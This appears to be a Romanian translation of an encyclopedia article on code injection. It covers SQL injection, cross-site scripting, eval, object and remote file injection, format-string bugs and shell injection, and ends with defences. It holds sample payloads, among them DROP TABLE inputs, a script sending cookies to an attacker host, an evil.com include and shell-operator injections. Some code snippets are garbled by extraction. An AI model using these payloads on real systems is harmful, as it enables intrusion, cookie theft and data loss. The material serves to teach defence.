Injecție SQLEdit
Injectarea SQL profită de sintaxa SQL pentru a injecta comenzi care pot citi sau modifica o bază de date, sau pot compromite sensul interogării originale.
De exemplu, luați în considerare o pagină web care are două câmpuri pentru a permite utilizatorilor să introducă un nume de utilizator și o parolă. Codul din spatele paginii va genera o interogare SQL pentru a verifica parola în raport cu lista de nume de utilizatori:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Dacă această interogare returnează orice rând, atunci accesul este permis. Cu toate acestea, dacă utilizatorul rău intenționat introduce un nume de utilizator valid și injectează un cod valid (password' OR '1'='1
) în câmpul Password, atunci interogarea rezultată va arăta astfel:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
În exemplul de mai sus, se presupune că „Password” este gol sau un șir de caractere inofensiv. „'1'='1'
” va fi întotdeauna adevărat și vor fi returnate mai multe rânduri, permițând astfel accesul.
Tehnica poate fi rafinată pentru a permite rularea mai multor instrucțiuni sau chiar pentru a încărca și rula programe externe.
Să presupunem o interogare cu următorul format:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Dacă un adversar are ca intrări următoarele:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
interogarea va fi analizată astfel:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Rezultatul este că tabelul User
va fi eliminat din baza de date. Acest lucru se întâmplă deoarece simbolul ;
semnifică sfârșitul unei comenzi și începutul uneia noi. --
semnifică începutul unui comentariu.
Cross-site scriptingEdit
Injectarea de cod este injectarea sau introducerea malițioasă de cod într-o aplicație. Unele servere web au un script de carte de oaspeți, care acceptă mici mesaje de la utilizatori și, de obicei, primește mesaje de genul:
Very nice site!
Cu toate acestea, o persoană rău intenționată poate cunoaște o vulnerabilitate de injectare de cod în cartea de oaspeți și introduce un mesaj de genul:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Dacă un alt utilizator vizualizează pagina, atunci codul injectat va fi executat. Acest cod poate permite atacatorului să se dea drept un alt utilizator. Cu toate acestea, același bug software poate fi declanșat accidental de către un utilizator modest, ceea ce va face ca site-ul să afișeze un cod HTML greșit.
Injectarea de HTML și scripturi este un subiect popular, denumit în mod obișnuit „cross-site scripting” sau „XSS”. XSS se referă la un defect de injecție prin care datele introduse de utilizator într-un script web sau ceva de acest gen sunt plasate în HTML-ul de ieșire, fără a fi verificate pentru cod HTML sau scripting.
Multe dintre aceste probleme sunt legate de presupuneri eronate cu privire la ce date de intrare sunt posibile, sau la efectele unor date speciale.
Vulnerabilități de evaluare dinamicăEdit
O vulnerabilitate de injecție eval()
apare atunci când un atacator poate controla tot sau o parte dintr-un șir de intrare care este introdus într-un apel de funcție eval()
.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
Argumentul „eval
” va fi procesat ca PHP, astfel încât pot fi adăugate comenzi suplimentare. De exemplu, dacă „arg” este setat la „10; system('/bin/echo uh-oh')
„, se execută un cod suplimentar care execută un program pe server, în acest caz „/bin/echo
„.
Injectarea de obiecteEdit
PHP permite serializarea și deserializarea de obiecte întregi. Dacă în funcția de deserializare este permisă o intrare nesigură, este posibil să se suprascrie clasele existente în program și să se execute atacuri malițioase. Un astfel de atac asupra Joomla a fost descoperit în 2013.
Remote file injectionEdit
Considerați acest program PHP (care include un fișier specificat prin cerere):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
Exemplul ar putea fi citit ca putând fi încărcate doar fișiere de culoare precum blue.php
și red.php
, în timp ce atacatorii ar putea furniza COLOR=http://evil.com/exploit
determinând PHP să încarce fișierul extern.
Injectarea specificatorului de formatEdit
Bugs de șir de format apar cel mai frecvent atunci când un programator dorește să tipărească un șir de caractere care conține date furnizate de utilizator. Programatorul poate scrie din greșeală printf(buffer)
în loc de printf("%s", buffer)
. Prima versiune interpretează buffer
ca fiind un șir de format și analizează orice instrucțiuni de formatare pe care le-ar putea conține. A doua versiune imprimă pur și simplu un șir de caractere pe ecran, așa cum a intenționat programatorul. 2. Luați în considerare următorul program scurt în C care are o variabilă locală char array password
care conține o parolă; programul cere utilizatorului un număr întreg și un șir de caractere, apoi transmite prin ecou șirul furnizat de utilizator.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Dacă intrarea utilizatorului este completată cu o listă de specificatori de format, cum ar fi %s%s%s%s%s%s%s%s
, atunci printf()
va începe să citească din stivă. În cele din urmă, unul dintre specificatorii de format %s
va accesa adresa password
, care se află pe stivă, și va imprima Password1
pe ecran.
Injectarea de shell-uriEdit
Injectarea de shell-uri (sau injectarea de comenzi) este denumită după shell-urile Unix, dar se aplică la majoritatea sistemelor care permit software-ului să execute programatic o linie de comandă. Iată un exemplu de script tcsh vulnerabil:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Dacă cele de mai sus sunt stocate în fișierul executabil ./check
, comanda shell ./check " 1 ) evil"
va încerca să execute comanda shell injectată evil
în loc să compare argumentul cu cel constant. Aici, codul atacat este codul care încearcă să verifice parametrul, chiar codul care ar fi putut încerca să valideze parametrul pentru a se apăra împotriva unui atac.
Care funcție care poate fi folosită pentru a compune și executa o comandă shell este un vehicul potențial pentru lansarea unui atac de injecție shell. Printre acestea se numără system()
, StartProcess()
și System.Diagnostics.Process.Start()
.
Sistemele client-server, cum ar fi interacțiunea browserului web cu serverele web, sunt potențial vulnerabile la injectarea shell. Luați în considerare următorul program scurt PHP care poate rula pe un server web pentru a rula un program extern numit funnytext
pentru a înlocui un cuvânt trimis de utilizator cu un alt cuvânt.
<?phppassthru("/bin/funnytext " . $_GET);
Programul passthru
din cele de mai sus compune o comandă shell care este apoi executată de serverul web. Deoarece o parte din comanda pe care o compune este preluată din URL-ul furnizat de browserul web, acest lucru permite URL-ului să injecteze comenzi shell malițioase. Se poate injecta cod în acest program în mai multe moduri, exploatând sintaxa diferitelor funcții shell (această listă nu este exhaustivă):
Caracteristică shell | USER_INPUT valoare |
Comandă shell rezultată | Explicație |
---|---|---|---|
Execuție secvențială | ; malicious_command |
/bin/funnytext ; malicious_command |
Execută funnytext , apoi execută malicious_command . |
Pipeline | | malicious_command |
/bin/funnytext | malicious_command |
Întoarce ieșirea lui funnytext ca intrare la malicious_command . |
Substituire de comenzi | `malicious_command` |
/bin/funnytext `malicious_command` |
Întoarce ieșirea lui malicious_command ca argumente la funnytext . |
Substituire comandă | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Întoarce ieșirea lui malicious_command ca argumente la funnytext . |
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Execută malicious_command dacă funnytext returnează o stare de ieșire de 0 (succes). |
OR list | || malicious_command |
/bin/funnytext || malicious_command |
Execută malicious_command iff funnytext returnează o stare de ieșire diferită de zero (eroare). |
Redirecționarea ieșirii | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Subscrie conținutul fișierului .bashrc cu ieșirea lui funnytext . |
Redirecționare intrare | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Întoarce conținutul fișierului .bashrc ca intrare la funnytext . |
Câteva limbaje oferă funcții pentru a scăpa sau cita corect șirurile de caractere care sunt folosite pentru a construi comenzi shell:
- PHP:
escapeshellarg()
șiescapeshellcmd()
- Python:
shlex.quote()
Cu toate acestea, acest lucru pune în continuare sarcina programatorilor să cunoască/învețe despre aceste funcții și să își amintească să le folosească de fiecare dată când folosesc comenzi shell. În plus față de utilizarea acestor funcții, se recomandă, de asemenea, validarea sau igienizarea intrărilor utilizatorului.
O alternativă mai sigură este utilizarea API-urilor care execută programe externe direct, mai degrabă decât prin intermediul unui shell, prevenind astfel posibilitatea de injectare a shell-ului. Cu toate acestea, aceste API-uri tind să nu suporte diverse caracteristici de confort ale shell-urilor și/sau să fie mai greoaie/verbose în comparație cu o sintaxă shell concisă.
.